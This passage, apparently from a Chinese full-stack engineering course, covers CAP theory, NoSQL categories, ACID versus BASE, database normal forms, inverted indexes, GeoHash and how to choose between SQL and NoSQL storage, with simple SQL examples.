虽然是多节点，但是节点间没有数据共享和数据交换——即节点上的数据不需要拷贝到其它节点上。比方说，无数据副本（Replica）配置的集群 Elasticsearch 或 Memcached，在经过 hash 以后，每个节点都存放着单份不同的数据。这种情况看起来也算分布式存储，但是节点之间是互相独立的。

存储技术的选择：NoSQL 三角形

在谈到根据 CAP 来选择技术的时候，我想先来介绍一下 NoSQL，你将会看到它们大量地分布在下面“NoSQL 三角形”的 CP 和 AP 两条边上。

那么，到底什么是 NoSQL 呢？我们可以简单地认为，NoSQL 是“非关系数据库”，和它相对应的是传统的“关系数据库”。它被设计出来的目的，并非要取代关系数据库，而是成为关系数据库的补充，即“Not Only SQL”。

也就是说，它放弃了对于“关系”的支持，损失了强结构定义和关系查询等能力，但是它往往可以具备比关系数据库高得多的性能和横向扩展性（scalability）等优势。这在 Web 2.0 时代对于一些关系数据库不擅长的场景，例如数据量巨大，数据之间的关联关系较弱，数据结构（schema）多变，强可用性要求和低一致性要求等等，NoSQL 可以发挥其最大的价值。

在实际业务中，我们可以利用 CAP 定理来权衡和帮助选择合适的存储技术，且看下面这张 NoSQL 系统的 CAP 三角形（来自 Visual Guide to NoSQL Systems）。尺有所短，寸有所长，我们可以从 CAP 的角度来理解这些技术的优劣。

从图中可以发现，关系数据几乎都落在了 CA 一侧，但是请注意，技术也在不断更新，许多关系数据库如今也可以通过配置而形成其它节点的数据冗余；有时，我们则是在其上方自己实现数据冗余，比如配置数据库的数据同步到备份数据库。

无论哪一种方法，一旦其它节点用于数据冗余的数据副本出现，这个存储系统就落到上述三角形的另外两边去了。

云上的 NoSQL 存储服务，多数落在了 AP 一侧，这也和 NoSQL 运动可用性优先保证而降级一致性的主题符合。比如 Amazon 的 DynamoDB，但是这个也是可以通过不同的设置选项来改变的，比如 DynamoDB 默认采用最终一致性，但也允许配置为强一致性，那时它就落到了 CP 上面。

实际场景

接着我们考虑几个实际应用场景，看看该采用哪一条边的技术呢？既然是基于 Web 的全栈工程师的技术学习，我就来举两个基于网站应用的例子。

还记得我们在 [第 09 讲] 中谈到的页面聚合吗？对于门户网站来说，无论是显示的数据，还是图片、样式等等静态资源，通过 CDN 的方式，都可以把副本存放在离用户较近的节点，这样它们的获取可以减少延迟，提高用户体验。因此，这些系统联合起来，就形成了一个可以使用 CAP 讨论的分布式系统。

那么，很容易理解的是，且不用说网络故障而发生分区的情况，即便在正常情况下，这些信息并不需要具备那么严格的“即时性”，新闻早显示、晚显示几秒钟，乃至几分钟，都不是什么问题，上海的读者比北京的读者晚看到一会儿，也不是什么问题。但是，大型网站页面打不开，就是一个问题了，这显然会影响用户的体验。因此，从这个角度说，我们可以牺牲一致性，但需要尽量保证可用性，因此这是一个选择 AP 的例子。

事实上，对于大型的系统而言，我们往往不需要严格的一致性，但是我们希望保证可用性，因此在大多数情况下我们都会选择 AP。但是，有时情况却未必如此。

再举一个例子，航空公司卖机票，在不考虑超售的情况下，一座一票，航空公司的网站当然可以采用上面类似的做法；有时，甚至在正常的情况下，余票的显示都可以不是非常准确的（比如显示“有票”可以避免显示这个具体数字）。但是，当客户真正在选座售票的时候，即扣款和出票的时候就不是这样的了，一致性必须优先保证。因为如果可用性保证不了，即有时候订票失败，用户最多也就是牢骚几句，这还可以接受，但要是出现一致性问题，即两个人订了同一个座位的票，那就是很严重的问题了。

最后，我想说的是，这里的选择是一个带有灰度的过程，并非只有 0 和 1 这两个绝对的答案，我们还是需要具体问题具体分析，不要一刀切。

从特性上说，甚至可以部分特性做到 CP，部分做到 AP，这都是有可能的。比如说，涉及钱的问题一定是 CP 吗？不一定，ATM 机就是一个很经典的例子，在网络故障发生时，ATM 会处于 stand-alone 模式，在这种模式下，用户依然可以执行查询余额等操作（很可能数额不准确），甚至还可以取款，但是这时的取款会有所限制，例如限制一个额度（银行承担风险），或者是限制只能给某些银行的卡取款，毕竟可用性和一致性的丢失会带来不同的风险和后果，两害相权取其轻。

总结思考

今天我们学习和理解了 CAP 理论，并且了解了一些实际应用的例子。希望你能够通过今天的内容，彻底掌握其原理，并能够逐渐在设计中应用起来，特别是在技术选型做“权衡”的时候。

现在，我们来看一下今天的思考题吧：

你是否了解或是接触过分布式系统，特别是分布式存储系统，它是否能归类到 NoSQL 三角形中的某一条边上呢？

互联网上的绝大多数系统都是可以牺牲一致性，而优先保证可用性的，但也有一些例外。你能举出几个即便牺牲可用性，也要保证数据一致性的例子来吗？

今天的主要内容就到这里，欢迎你在留言区进行讨论，也欢迎你继续学习下面的选修课堂。

选修课堂：从 ACID 到 BASE

ACID 和 BASE，正好是英文里“酸”和“碱”的意思。有意思的是，关系数据库和非关系数据库，它们各自的重要特性，也恰恰可以用酸和碱来体现。下面我来简单做个比较，你可以从中感受一下二者的差异和对立性，为我们后两讲介绍技术选型打下基础。

先说说 ACID。

关系数据库的一大优势，就是可以通过事务的支持来实现强一致性，而事务，通常可以包含这样几个特性。

Atomicity：原子性，指的是无论事务执行的过程有多么复杂，要么提交成功改变状态，要么提交失败回滚到提交前的状态，这些过程是原子化的，不存在第三种状态。

Consistency：一致性，这里的一致性和我们前面介绍的一致性含义略有不同，它指的是事务开始前、结束后，数据库的完整性都没有被破坏，所有键、数据类型、检查、触发器等等都依然有效。

Isolation：隔离性，指的是多个并发事务同一时间对于数据进行读写的能力，同时执行，互不影响。事务隔离分为四大级别，不同的数据库默认实现在不同的级别，我在扩展阅读中放置了一些学习材料，感兴趣的话可以进一步学习。

Durability：持久性，一旦事务成功提交，那么改变是永久性的。

接着说说 BASE。

前面已经谈到了 NoSQL，CAP、最终一致性，再加上 BASE，被称作 NoSQL 的三大基石。而 BASE，是基于 CAP 衍生出来，对于其牺牲一致性和保证可用性的这一分支，落实到具体实践中的经验总结，在大规模互联网分布式系统的设计中具有指导意义。

BA：基本可用，即 Basically Available。这就是说，为了保障核心特性的“基本可用”，无论是次要特性的功能上，还是性能上，都可以牺牲。严格说来，这都是在“可用性”方面做的妥协。例如电商网站在双十一等访问压力较大的期间，可以关闭某一些次要特性，将购物支付等核心特性保证起来。如果你还记得 [第 17 讲] 中的“优雅降级”，那么你应该知道，这里说的就是优雅降级中一个常见的应用场景。

S：软状态，即 Soft State。说的是允许系统中的数据存在中间状态，这也一样，为了可用性，而牺牲了一致性。

E：最终一致性，即 Eventually Consistent。S 和 E 两点其实说的是一个事情，一致性的牺牲是可行且有限度的，某个数据变更后的时间窗口内出现了不一致的情况，但是之后数据会恢复到一致的状态。举例来说，上文提到过的 CDN 系统便是如此，再比如社交媒体发布后的互动，像点赞、评论等功能，这些数据可以延迟一会儿显示，但是超过了一定的时间窗口还不同步到就会是问题。

扩展阅读

Towards Robust Distributed Systems，这是一个胶片，来自 Eric Brewer 最早谈及 CAP 理论的一个分享；而 Brewer’s CAP Theorem，这一篇是对 CAP 理论证明的论文，想看中文的话可以看看这篇中文译文。

文中提到了 NoSQL 的概念，CAP 的三角形一图中也有一些实现的例子，NoSQL Databases 这个网站列出了比较全面的 NoSQL 数据库列表，可供查询。

文中提到了某些存储服务能够通过配置在 CAP 的三角形上切换。比如 DynamoDB，它是一个 NoSQL 的键 / 值文档数据库，就可以配置为 CP，也可以配置为 AP，官方的读取一致性这篇文章做了简要说明；再比如 S3，它是一个云上的对象存储服务，它的一致性根据对象创建和对象修改而有所不同，你可以看一下官方的这个说明。

如果对 BASE 感兴趣，你可以看看这篇最原始的 Base: An Acid Alternative，想看中文译文的话可以看看这篇。

对于文中提到的事务隔离，感兴趣可以进一步参见维基百科，还有一篇美团技术团队写的Innodb 中的事务隔离级别和锁的关系，也是很好的针对事务隔离的学习材料。

25 | 设计数据持久层（上）：理论分析

你好，我是四火。

在基于 Web 的全栈技术下，每一层的设计都有共同点，当然，也有各自的特殊之处。你可以回想一下，我们曾经在第一章谈到的客户端和服务端交互以及 Web API 的设计，在第三章谈到的前端的设计，在第二章谈到的服务端 MVC 各层的设计，从前到后。那么，本章余下的内容，我们就来让整个设计层面上的体系变得完整，讲一讲最后面一层的数据持久层怎样设计。

持久层的设计包括持久化框架选择、持久层代码设计，以及存储技术选型等等，考虑到这其中有部分内容我们在第二章谈论 MVC 模型层的时候已经讲到过了，那么在这一讲和下一讲中，我就会先偏重于持久层的数据存储技术本身，再结合实际的设计案例来介绍怎样选择合适的技术来解决那些经典的实际问题。

关系数据库

关系数据库就是以“关系模型”为基础而建立的数据库，这里的关系模型说的是数据可以通过数学上的关系表示和关联起来，也就是说，关系模型最终可以通过二维表格的结构来表达。关系数据库除了带来了明确的 schema 和关系以外，还带来了对事务的支持，也就是对于强一致性的支持。

数据库范式

数据库的表设计，可以说是全栈工程师经常需要面对的问题。而这部分，其实是有“套路”可循的，其中一些常见的规范要求，就被总结为不同的“范式”（Normal Form）。它可以说是数据库表设计的基础，对于数据库表设计很有实际的指导意义。我注意到有很多程序员朋友都不太清楚不同范式的实际含义，那么今天，就请让我通过一个尽可能简单的图书管理系统的例子，来把它讲清楚。

1. 第一范式（1 NF）

第一范式要求每个属性值都是不可再分的。满足 1NF 的关系被称为规范化的关系，1NF 也是关系模式应具备的最起码的条件。比如下面这样的 Books 表：

你看，在上面这张表中，有两本书重名了，都叫“Life”，但是国际标准书号 ISBN 是不同的。放在了同一个属性 ISBN 中，并非不可再分，这显然违反了第一范式。那解决这个问题的办法就是拆分：

2. 第二范式（2 NF）

第二范式要求去除局部依赖。也就是说，表中的属性完全依赖于全部主键，而不是部分主键。

你看，在上面这张表中，原本的设计是想让 BOOK_ID 和 AUTHOR_ID 组成联合主键，但是，BOOK_NAME 仅仅依赖于部分主键 BOOK_ID，而 AUTHOR_NAME 也仅仅依赖于部分主键 AUTHOR_ID，违背了第二范式 。解决的办法依然是拆分，把这个可以独立被依赖的部分主键拿出去，上面的表可以拆成下面这样两张表：

从这个拆分中我们也可以看到，原表被拆成了 N 对 1 关系的两个表，而被不合范式依赖的那个“部分主键”，变成了“1”这头的主键。

3. 第三范式（3 NF）

第三范式要求去除非主属性的传递依赖。即在第二范式的基础上，非主属性必须直接依赖于主键，而不能传递依赖于主键。

你看上面这张表，主键是 BOOK_ID，而 CATEGORY_ID 是非关键字段，并非直接依赖于主键，而是通过这样的传递依赖：

CATEGORY_NAME → CATEGORY_ID → BOOK_ID

因此，为了消除这个传递依赖，我们还是拆表，让这个传递链中间的非关键字段自立门户：

一般我们在设计中分析到第三范式就打住了，很少有情况会考虑更为严格的范式。例如，BC 范式和第三范式就很像，但是，第三范式只是消除了非主属性对主属性的传递依赖，而 BC 范式更进一步，要求消除主属性对主属性的传递依赖，从而，消除所有属性对主属性的传递依赖。

当然，还有第四、第五范式等等，要求更加严格，解耦更加彻底，但却不太常用了，如果你想进一步了解，可以参阅维基百科的词条。

范式的程度更高，冗余度便更低。但正如同我们在第二章介绍的“拆分”大法一样，每一次范式的升级都意味着一个拆表的过程，一旦过度解耦，拆分出太多零散的表，对于程序员的理解，脑海中数据模型的建立，甚至包括联表操作的 I/O 性能，都是不利的。因此我们需要“权衡”，掌握好这个度，这一原则，和我们介绍过的分层设计是一致的。

NoSQL

在上一讲中，我已经介绍了 NoSQL 的概念。在 NoSQL 出现以前，设计大型网站等 Web 应用的时候，全栈工程师的武器库里可供使用的选择，要局限得多。尤其是对一些量大且非结构化的数据，缺乏特别理想的解决方法，工程师有时不得不采用一些非常规的特殊方案，而更多时候我们只能在传统关系数据库的基础上，使用数据库的 Sharding 和 Partition 这样的操作。

虽然那时候在数据规模上面临的挑战远没有现在大，可那个时候 DBA（Database Administrator）在市场上可以说是炙手可热，一旦出了问题，有时甚至还得请专门的数据库厂商的专家，这其中的费用极其高昂，是以分钟计算的。

如今，你可能听说过许多互联网企业去 IOE 的故事（IOE 指的是 IBM 的小型机、Oracle 数据库、EMC 存储设备这三者），其中阿里巴巴的版本听起来还颇为传奇。事实上，这可不只是只有国内的阿里巴巴曾经努力做的事情，还是全球许多大型互联网企业都曾经或正在做的事情，也包括 Amazon。我曾经在 Amazon 的销量预测团队中工作，当时我们团队可以说就在整个亚马逊最大的传统（非云上）关系数据库上工作，里面存放了全部商品库存、销量等有关的信息。

Web 2.0 时代的到来，为互联网应用带来了深远的影响，用户代替传统媒体，成为了 Web 2.0 时代主要的数据制造者。海量、不定结构、弱关联关系、高可用性和低一致性要求的数据特点，让关系数据库力不从心；而 NoSQL 则具有更好的横向扩展性、海量数据支持、易维护和廉价等等优势，犹如一剂特效药，成为了市场上这个数据难题的大杀器。

当然，现实中依然存在大量需要强一致性和关系查询的业务场景，因此关系数据库依然是我们倚赖的重要工具。可是，依然使用关系数据库并不代表依然靠互联网企业自己亲力亲为地做繁重的数据库管理工作，关系数据库云服务的崛起将传统的数据库管理工作自动化，于是普通的软件工程师也可以完成以往 DBA 才能完成的工作了。从这里也能看出，DBA 也确实是一个技术变更影响技术人才市场需求的典型例子。

综上，这个数据的问题就有了两个层次的解决方案：

出现了更适合业务的非关系数据库服务，也就是 NoSQL；

把关系数据库搬到云上，从而让互联网企业从繁重的数据库管理工作中解脱出来，例如 RDS。

NoSQL 数据库的分类

别看 NoSQL 的数据库那么多，它们大致可以被分为这样几类，每一类也都有自己的优势和劣势。在介绍每一类的时候，我会以我比较熟悉的 AWS 上的实现来具体介绍，当然，很可能你见过的是其它的例子（比如非云上的本地版本，再比如不同的云服务厂商都会提供自己的实现），但在原理层面都是类似的。

1. 键值（Key-value）数据库

这一类 NoSQL 的数据库，采用的是 key-value 这样的访问模型，也就是说，可以根据一个唯一的 key 来获取所需要的值，这个 key 被称为主键，而这个根据 key 来获取 value 的访问的过程是通过 Hash 算法来实现的。本地的 Redis 或者云上的 DynamoDB 都属于这一类。

以 DynamoDB 为例，它的 key 由 Partition Key 和 Sort Key 两级组成，即前者用来找到数据存在哪一个存储单元（Storage Unit），而后者用来找到 value 在存储单元上的具体位置。通常来说，这个二级 Hash 的过程时间开销并不会随着数据量的增大而增大，下图来自官方的 Blog：

DynamoDB 表结构看起来和传统的关系数据库有些像，并且每一行的 schema 可以完全不同，即“列”可以是任意的。每张表的数据支持有限的范围查询，包括主键的范围查询，以及索引列的范围查询。其中，索引的数量是有着明确限制的，一种是全局的（相当于 Partition Key + Sort Key），每张表上限 20 个；一种是本地的（相当于 Partition Key 已经确定，只通过 Sort Key 索引），每张表上限 5 个。

2. 列式（Columnar）数据库

经典的数据库是面向行的，即数据在存储的时候，每一行的数据是放在一起的，这样数据库在读取磁盘上连续数据的时候，实际每次可以一气读取若干行。如果需要完整地查询出特定某些行的数据，行数据库是高效的。且看下面的示例，来自 Redshift 官方文档：

但是列式数据库不一样，它是将每一列的数据放在一起。这样的话，如果我们的处理逻辑是要求取出所有数据中的特定列，那么列数据库就是更好的选择：

事实上，对于数据库来说，磁盘的读、写本身，往往还不是最慢的，最慢的是寻址操作。因此，无论是行数据库还是列数据库，如果根据实际需要，我们的实际访问能够从随机访问变成顺序访问，那么就可以极大地提高效率。在大数据处理中经常使用的 HBase 和云上的 Redshift 都属于这一类。

和行数据库相比，列数据库还有一些其它的好处。比如说，对于很多数据来说，某一个特定列都是满足某种特定的格式的，那么列数据库就可以根据这种格式来执行特定的压缩操作。

3. 文档（Document）数据库

文档数据库是前面提到的键值数据库的演化版，值是以某一种特定的文档格式来存储的，比如 JSON、XML 等等。也就是说，文档携带的数据，是已经指定了既定的编码、格式等等信息的。某一些文档数据库针对文档的特点，提供了对于文档内容查询的功能，这是比原始的键值数据库功能上强大的地方。本地的 MongoDB 和 AWS 上的 DocumentDB 都属于这个类型。

4. 对象（Object）数据库

和上面介绍的文档数据库类似，当 value 变成一个可序列化的对象，特别是一个大对象的时候，它就被归类为对象数据库了。AWS 上最常用的 NoSQL 存储，除了前面介绍过的 DynamoDB，就是 S3 了，它相对成本更为低廉，耐久性（durability，数据不丢失的级别）非常高（达到了 11 个 9），并且存储对象可以很大，因此用户经常把它当做一个“文件系统”来存放各种类型的文件，而把 key 设计成操作系统文件路径这样一级一级的形式，S3 也就被称为“文件系统”。但是，实际上 S3 的“文件”还是和我们所熟悉的操作系统的文件系统有着很大的区别。

当然，还有一些其它的类型，包括图形（Graph）数据库、搜索（Search）数据库等等，我就不一一列举了。

演进趋势

我们在这一章已经从一致性、可用性等方面了解了关系数据库和非关系数据库各自的优势，我想，对这两方面，你应该已经有了自己的认识。现在，我想再补充两个角度，让比较更为全面，分别是扩展性和数据的结构性，我们一起来看看持久层的存储技术的演进趋势。

1. 从 Scale Up 到 Scale Out

先回顾一下“扩展性”（Scalability，也有翻译为“伸缩性”的）这个概念。

按理说，扩展性是包括“纵向（垂直）扩展”和“横向（水平）扩展”的。当然，如今使用这个词的时候，我们往往特指的是“Scale Out”，也就是横向扩展，说白了，就是通过在同一层上增加硬件资源的方式来增加扩展性，从而提高系统的吞吐量或容量。比如说，增加机器。NoSQL 技术往往具备很强的横向扩展能力，至于其中的一个典型原理，你可以回顾一下 [第 23 讲] 的选修课堂“一致性哈希”，你就会明白，为什么 NoSQL 技术可以很方便地在同一层增加硬件资源了。

可是，你知道吗，在很早以前，人们谈“扩展性”的时候，默认指的却是“Scale Up”。它指的是在硬件设施数量不变的基础上，通过增加单个硬件设施的性能和容量来达到同样的“扩展”目的。比如说，把同一台机器的 CPU 换成更好的，把内存升级，把磁盘换成容量更大的，等等。毕竟，在那时候，程序员对于很多问题的思考都还普遍停留在“单机”的层面上。

为什么横向扩展如此重要，以至于成为了“扩展性”的默认指代？

原因很简单，单个硬件设施的性能提升是非常有限的，而且极其昂贵。我记得我刚工作那会儿，去国内某电信运营商开局，众所周知他们“不差钱”，为了提升性能，我们做了很多 Scale Up 的工作，包括把 CPU 升级成了 96 核的。可是你看看现在的互联网公司，哪个会这么玩？因此在现实中，多数情况下，扩容这件事情上，Scale Out 是唯一的选择。

2. 从结构化数据到非结构化数据

我们使用关系数据库的时候，每一行数据都是严格符合表结构的定义，有多少列，每一列的类型是什么，等等，我们把这类数据叫做“结构化”（structured）数据，而这个确定的“结构”，就是 schema。结构化的数据具备最佳的查询、校验和关联能力。

但是当我们使用 DynamoDB 这样的 NoSQL 数据库的时候，我们发现，每一行数据依然可以分成一列一列的，但是有多少列，或者每一列的类型，或者表示的具体含义，却变得不再固定了。这时候我们说，这样的结构依然存在，但是共通的部分明显比结构化数据少多了，于是我们把它们叫做“半结构化”（semi-structured）的数据。

再一般化，就是“非结构化”（non-structured）数据了，上面说的 S3 就是一个很好的例子。即便 S3 上存储的文件是符合某种结构的（比如 JSON），我们也无法利用这个存储服务来完成依据结构而进行的查询等等操作了。

无论是同步还是异步的数据处理，我们总是希望数据的结构性越强越好，因为“结构”本质上意味着“规则”，越强的结构，就越容易使用简单直白的代码逻辑去处理。可是，恰恰相反的是，我们在现实中遇到的绝大多数的数据，都是非结构化的，或者说，很难用某一种特定的规则去套。

总结思考

今天我们从不同角度学习了关系数据库和非关系数据库，掌握了一些存储设计的原理和技巧，希望你可以将内容慢慢消化。

下面是今天的提问环节了，我想换个形式。

我们已经学习了几种常见的数据库范式，下面这张图书馆用户表的数据库表的设计是不合理的，你觉得它满足了第几范式呢？并且，你能不能通过学到的拆分方法，分析一下它的问题，把它进一步优化，消除冗余呢？

好，今天的内容就到这里。如果有思考、有问题，欢迎在留言区发言，我们一起讨论。

扩展阅读

文中提到了 Web 2.0 的概念，我推荐你阅读 Web 2.0 的维基百科词条，以及 Web 2.0 网站的九个特点这篇文章，以对它有一个明确的认识。

对于 NoSQL 的一些特定的术语，以及数据库的分类和比较，推荐你阅读这篇什么是 NoSQL？

文中介绍了去 IOE 的事儿，正好 Amazon 最近宣称他们正式完成了从 Oracle 关系数据库迁移离开的工作，感兴趣的话可以看一看。

对于分布式存储感兴趣，并且阅读能力还可以的话，有一些经典论文可以是进一步学习的对象，但请注意它们不是我们这个阶段或当前学习周期内需要学习的内容。比如 Dynamo: Amazon’s Highly Available Key-value Store 这篇，中文译文可以参考这篇，它影响了后来很多分布式系统的设计和发展，我几年前也学习并写了一些自己的理解。

再就是 Google 著名的“三驾马车”了，GFS（中文译文），MapReduce（中文译文） 和 BigTable（中文译文）。我仅仅把它们放在这里，只是供感兴趣且有一定论文阅读能力的程序员朋友参考，而对于本专栏全栈的学习来说，不接触它们是完全没问题的。

26 | 设计数据持久层（下）：案例介绍

你好，我是四火。

本章我们已经学习了不少持久化，特别是有关存储的技术。那在实际业务中，复杂的问题是一个接着一个的，面对这些琳琅满目的具体技术，我们该怎样运用自己所掌握的知识，做出合理的选择呢？今天我们就来接触一些典型的系统，看看对于它们来说，该做出怎样的持久化设计和技术选型。我相信我们实际接触的系统也有相当程度的类比性，可以带来应用的参考意义。

搜索引擎

小到 BBS 网站的帖子搜索，大到互联网数据搜索引擎，搜索引擎可以说是我们日常接触的几大系统之一。可是，搜索数据的存储该怎么设计呢？

有一些反应迅速的程序员朋友，也许会设想这样的存储结构，利用关系数据库，创建这样一个存储文本（文章）的关系数据库表 ARTICLES：

那么，假如现在的搜索关键字是“存储”，我们就可以利用字符串匹配的方式来对 CONTENT 列进行匹配查询：

select * from ARTICLES where CONTENT like '% 存储 %';

这很容易就实现了搜索功能。但是，这样的方式有着明显的问题，即使用 % 来进行字符串匹配是非常低效的，因此这样的查询需要遍历整个表（全表扫描）。几篇、几十篇文章的时候，还不是什么问题，但是如果有几十万、几百万的文章，这种方式是完全不可行的。且不说单独的关系数据库表就不能容纳那么大的数据了，就是能够容纳，要扫描一遍，这里的时间代价是难以想象的，就算我们的系统愿意做，用户可都不愿意等啊。

于是，我们就要引入“倒排索引”（Inverted Index）的技术了。在前面所述的场景下，我们可以把这个概念拆分为两个部分来解释：

“倒排”，指的是存储的结构不再是先定位到文章，再去文章的内容中找寻关键字了；而是反过来，先定位到关键字，再去看关键字属于哪些文章。

“索引”，指的是关键字，是被索引起来的，因此查询的速度会比较快。

好，那上面的 ARTICLES 表依然存在，但现在需要添加一个关键字表 KEYWORDS，并且，KEYWORD 列需要添加索引，因此这条关键字的记录可以被迅速找到：

当然，我们还需要一个关联关系表把 KEYWORDS 表和 ARTICLES 表结合起来，KEYWORD_ID 和 ARTICLE_ID 作为联合主键：

你看，这其实是一个多对多的关系，即同一个关键字可以出现在多篇文章中，而一篇文章可以包含多个不同的关键字。这样，我们可以先根据被索引了的关键字，从 KEYWARDS 表中找到相应的 KEYWORD_ID，进而根据它在上面的关联关系表找到 ARTICLE_ID，再根据它去 ARTICLES 表中找到对应的文章。

这看起来是三次查找，但是因为每次都走索引，就免去了全表扫描，在数据量较小的时候速度并不慢，并且，在使用 SQL 实现的时候，这个过程完全可以放到一个 SQL 语句中。在数据量较小的时候，上面的方法已经足够好用了。

但是，这个方法只解决了全表扫描和字符串 % 匹配查询造成的性能问题，并且，在数据量较大时，并没有解决数据量本身在单机模式下造成的性能问题。

于是，我们可以考虑搭建和使用 Elasticsearch，或者干脆使用云上的版本。Elasticsearch 将关键字使用哈希算法分散到多个不同的被称为“Shard”的虚拟节点，并且把它们部署到不同的机器节点上，且每一个 shard 具备指定数量的冗余副本（Replica），这些副本要求被放置到不同的物理机器节点上。通过这样的方式，我们就可以保证每台机器都只管理稳定且可控的数据量，并且保证了搜索服务数据的可用性。

对于每一个关键字，都可以配置指向文章和文章中位置的映射。比如有这样两篇文章：

文章 1 的正文是：今天介绍存储技术。

文章 2 的正文是：存储技术有多种分类。

那么，就有如下映射关系（下表仅用于表示在 Shard 中的数据映射，并非关系数据库表）：

你看，DOCUMENT 这一部分，每一行都可以存放若干个“文章 id : 文中关键字的位置”的组合。

地理信息系统

有这样一款订餐软件，上面有这样一个功能，在地图上可以列出距离当前用户最近的签约饭馆，并且随着用户缩放地图，还可以控制这个距离的大小。每个饭馆的位置可以简单考虑为经度和纬度组合的坐标（下图来自 Google 地图，仅示意用）。

简言之，这个功能就是“显示一定范围内的目标集合”，可它该怎样实现呢？

在考虑这个功能以前，我们可以类比地想一想，它其实是一个相当常见且通用的功能，常常应用于订餐、导航软件、旅游网站等等这类 LBS（Location-Based Service，基于位置的服务）应用中，因此这个问题是具有一定典型意义的。

这个背后的数据结构以及存储又是怎样的呢？我们顺着这个“经纬度”的思路往下想，那么，如果就把这样的地理信息，放到一张 LOCATIONS 表上，就会是这样：

当然了，还有一张 RESTAURANTS 表：

于是，要查出范围内的饭馆，我们就可以写这样的 SQL：

select * from LOCATIONS l, RESTAURANTS r where
  l.RESTAURANT_ID = r.RESTAURANT_ID and
  l.LONGITUDE >= 经度下界 and
  l.LONGITUDE <= 经度上界 and
  l.LATITUDE >= 纬度下界 and
  l.LATITUDE <= 纬度上界 ;

其中，这个经度、纬度的上下界，是根据用户所在位置，以及地图缩放程度折算出来的。显然，这需要一个全表扫描，加一个笛卡尔积，复杂度偏高，能否优化一下它呢？在往下阅读前，你可以先想一想。

思路 1：给单一维度加索引

嗯，如果经纬度可以分开处理，是不是就可以搞定？比方说，只考虑经度的话，给经度一列建立索引，所有饭馆按照从小到大的顺序排好。这样的话，当给定范围的时候，我们就可以快速找到经度范围内所有满足经度条件的饭馆。从时间复杂度的角度来考虑，在不做额外优化的情况下，以在有序经度列上的二分查找为例，这个复杂度是 log(n)。

当再考虑纬度的时候，假如有 m 家满足经度条件的饭馆，接下去我们就只能挨个去检查这 m 家饭馆，找出它们中满足纬度条件的了，也就是说，总的时间复杂度是 m*log(n)。这种方法比较简单，在数据量不太大的情况下也没有太大问题，因此这已经是很好的方法了。但是，在某些场景下这个 m 还有可能比较大，那么，有进一步优化的办法吗？

思路 2：GeoHash

其实，经度和纬度的大致思路可以，但是在框选饭馆的时候，不能把经度和纬度分别框选，而应该结合起来框选，并且把复杂度依然控制在 log(n) 的级别。

其中一个办法就是 GeoHash，它的大致思路就是降维。即把一个经度和纬度的二维坐标用一个一维的数来表示。具体实现上，有一种常见的办法就是把经度和纬度用一个长位数的数来表示，比如：

经度：101010……
纬度：100110……

接着把二者从左到右挨个位拼接，黑色字符来自经度，蓝色字符来自纬度：

在这种方式下，从结果的左边最高位开始，取任意长度截断所得到的前缀，可以用来匹配距离目标位置一定距离范围的所有饭馆。当用户选取的地图范围越大，前缀长度就越长，这个匹配精度也就越高，匹配到的饭馆数量也就越少。通过这种方式，区域不断用前缀的方式来细分，相当于给每个子区域一个标记号码。

那么，我们数据库表中的经度和纬度就可以合并为一列，再令这一列为主键，或者做索引，就能够进行单列的范围查询了。

最后，我们已经走到这一步了，接下来该怎么把这个表落实到数据库中呢？这就有多种方式可供选择了。比如我们可以使用关系数据库（例如 MySQL），也可以使用 NoSQL 中的键值数据库（例如 Redis 等）。这方面可以根据其它业务需求，以及实际开发的限制来选择，具体选择的策略，请继续阅读下文。

SQL or NoSQL？

我们在实际的存储系统选择时，经常会涉及到 SQL 数据库和 NoSQL 数据库的选择，也就是关系数据库和非关系数据库的选择。举个例子，如果是电子商务网站（这可能是我们平时听到的最多的例子之一了），应该选择 SQL 还是 NoSQL？

两个前提角度

设计和选型方面，有很多问题都不是黑白分明的，而是要拆分开来一块一块分析。我听到过很多“一刀切”的答案，比如有的人说用 MySQL，有的说用 Redis，我认为这样的结论都是不妥的。那么怎样来选择呢？下面我就来介绍一些 SQL 和 NoSQL 选择的原则。但是在讲原则以前，我觉得需要从两个“前提角度”去厘清我们的问题。

以电商网站的设计为例，这两个角度就是这样的。

1. 数据分类

电子商务网站，这个概念所意味着的数据类型太多了。简单举几个例子：

商品元数据，即商品的描述、厂家等等信息；

媒体数据，比如图片和视频；

库存数据，包括在某个地点的库房某商品还有多少件库存；

交易信息，比如订单、支付、余额管理；

用户信息，涉及的功能包括登陆、注册和用户设置。

因此，在讨论什么存储适合数据和访问的时候，我们最好明确，到底具体是哪一种类型的数据。毕竟，看起来上面的业务场景将有着巨大差别。

2. 数据规模

电子商务网站有大有小，可别一想到电商网站，脑海里就是淘宝和京东，商品可以上千万，甚至上亿。但其实，我们大多数接触的系统，都不会有那么大的规模，电商网站完全可以小到一个提供在线购物业务的私人体育用品专营店，商品数量可以只有几十到几百。

只有把问题做如上的展开并明确以后，我们再去思考和讨论数据结构、一致性、可用性等等这些我们“熟悉”的方面，才准确。因此，从上面的例子来看，我们在选择技术的时候，很可能要针对每一类数据选择“一组”技术，而不是笼统地选择“一项”技术了。

选择的思路

那么下一步，我们该怎样来选择 SQL 或是 NoSQL 数据库呢？这部分可以说，不同的人有着颇为不同的看法。下面我想根据我的认识，谈谈一个大致的选择思路，请注意这只是一个粗略的基于经验的分类，具体的技术选择还要具体问题具体分析和细化。

1. 对于中小型系统，在数据量不大且没有特殊的吞吐量、可用性等要求的情况下，或者在多种关系和非关系数据库都满足业务要求的情况下，优先考虑关系数据库。

关系数据库提供了成熟且强大的功能，包括强 schema 定义、关系查询、事务支持等等。关系数据库能够带来较强的扩展能力，未来在业务发展的时候，通过增加索引、增加表、增加列、增加关系查询，就可以迅速解决问题。

在从内存模型到实际存储数据的 ORM 转换的时候，有非常成熟的且支持程度各异的框架，有的把 ORM 完全自动化，让程序员可以关注在核心业务模型上面；有的则是把 ORM 定义让出来，提供足够的灵活性（这部分可以参见 [第 12 讲] 的加餐部分）。

值得注意的是，不要觉得 NoSQL 是大数据量的一个必然选择。事实上，即便数据量增大，关系数据库有时也依然是一个选择。当然需要明确的是，通常单表在数据量增大时，会产生性能方面的问题，但是可以使用 Sharding 和 Partitioning 技术来缓和（扩展阅读中有这方面技术的介绍）；而数据可用性的问题，也可以使用集群加冗余技术来解决，当然，有得必有失，这种情况下，通常会牺牲一定程度的一致性。

那么，这个数据量多大算大到关系数据库无法承担了呢？我可以给你一个事实，即微博和 Twitter 都是使用 MySQL 作为主要推文存储的（你可以参看扩展阅读中的文章），因此你可以看到在实际应用中，关系数据库对于特大数据量的支持也是有成功实践的。

